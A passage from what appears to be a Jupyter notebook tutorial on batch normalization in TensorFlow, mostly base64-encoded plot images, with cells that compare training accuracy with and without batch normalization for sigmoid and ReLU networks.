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\ng+M4jhPH/wPv7ZafvD0vxwAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7c34fbe0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 1, tf.nn.sigmoid, 2000, 50)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As you can see, even though these parameters work well for both networks, the one with batch normalization gets over 90% in 400 or so batches, whereas the other takes over 1700. When training larger networks, these sorts of differences become more pronounced." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 2, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1412.09it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.09859999269247055\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:36<00:00, 518.06it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9827996492385864\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.10099999606609344\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9827001094818115\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYUAAAEWCAYAAACJ0YulAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xl4XGXZ+PHvPZPJ2mzd0r2UWugKBdICRSAFl7KLsiNY\nFisiIIr4VuVV4Ie+oAgiorUqm1YWEbBgEUQICG2hBVK6l7aUrum+ZLLPzP374zmZTJKZZJp22oa5\nP9eVKzPnnDnnec6cee5nOYuoKsYYYwyA72AnwBhjzKHDgoIxxpgoCwrGGGOiLCgYY4yJsqBgjDEm\nyoKCMcaYKAsKn2IicpiIqIhkeO9fEpGvJbNsJ7b1QxH5476k16SGiEwTkf892OnoiIiUicji/b2s\n2Tti1ykcukTkX8C7qvrjVtPPA34PDFDVUDufPwz4GAi0t1wnli0D/qKqAzrMxH7ibfN1YKqq3nOg\ntnsgicjtwI+AOm/SJuAV4KequulgpSseETkZeKnpLZALVMcsMlJV1x7whJl9Zi2FQ9tjwFdFRFpN\nvwKY0VHh/SnzNWAHcOWB3nBnW0+d9JSq5gPdgfOBPsB7ItK3MysTEf/+TFwTVf2vqnZT1W7AKG9y\nUdO01gFBRHwiYuVNF2Bf0qHteaAHcHLTBBEpBs4GHvfenyUiH4jIHhFZ59U24xKRchG51nvtF5F7\nRWSbiKwGzmq17FUislREqkRktYh8w5ueh6sh9hORoPfXT0RuF5G/xHz+XBFZLCK7vO2OiJm3RkS+\nJyIfishuEXlKRLLbSXcecAHwLWCYiJS2mv9ZEZntbWudiEz2pueIyC9F5BNvO29508pEZH2rdawR\nkc95r28XkWdE5C8isgeYLCLjRWSOt41NIvIbEcmM+fwoEfm3iOwQkc1ed1ofEakRkR4xyx0rIltF\nJJAovwCq2qiqi4GLga3ALd7nJ4vIW63SriLyGe/1oyLyOxGZJSLVwERv2l3e/DIRWS8it4jIFi8v\nV8Wsq4eIvOAdT/NE5K7W20uWt7//n4jMwbUiBonItTHH1aqm49Fb/nMisibm/XoR+a6ILPS+vydE\nJGtvl/Xm/0BEKkVkg4h83dtnh3UmX592FhQOYapaCzxNy9rxRcAyVV3gva/25hfhCvZvisiXklj9\n13HB5RigFFfoxtrizS8ArgLuF5FjVbUaOAPYGFMr3Bj7QRE5AngCuBnoBcwCXogtRL18TAKGAEcB\nk9tJ65eBIPA34GVcq6FpW4NxQepBb1tjgQpv9r3AccAEXM37+0CkvZ0S4zzgGdx+nQGEge8APYET\ngdOB67005AOvAv8C+gGfAf6jqpVAuZfXJlcAT6pqYzKJUNUw8A9iKgZJuAz4KZAPxCvQ+wCFQH/g\nGuAhcZUNgIdwx1Qf3H6OOwa1F64ArsYdR+uBzbjjtAB3DD4oIke18/mLgM8Dh+O+yyv2dlkRORu4\nEZgIHAGc1vnsfPpZUDj0PQZcEFOTvtKbBoCqlqvqQlWNqOqHuML41CTWexHwK1Vdp6o7gP+Lnamq\n/1TVVeq8gevbTrZguhj4p6r+2yv87gVycIVzk1+r6kZv2y/gCvNEvobrVgkDfwUuialpXwa8qqpP\neLXr7apaIa6r4mrg26q6QVXDqjpbVeuTzMMcVX3e26+1qvqeqs5V1ZCqrsGN6TTt57OBSlX9parW\nqWqVqr7jzXsM+CpEu3IuBf6cZBqabMQFtW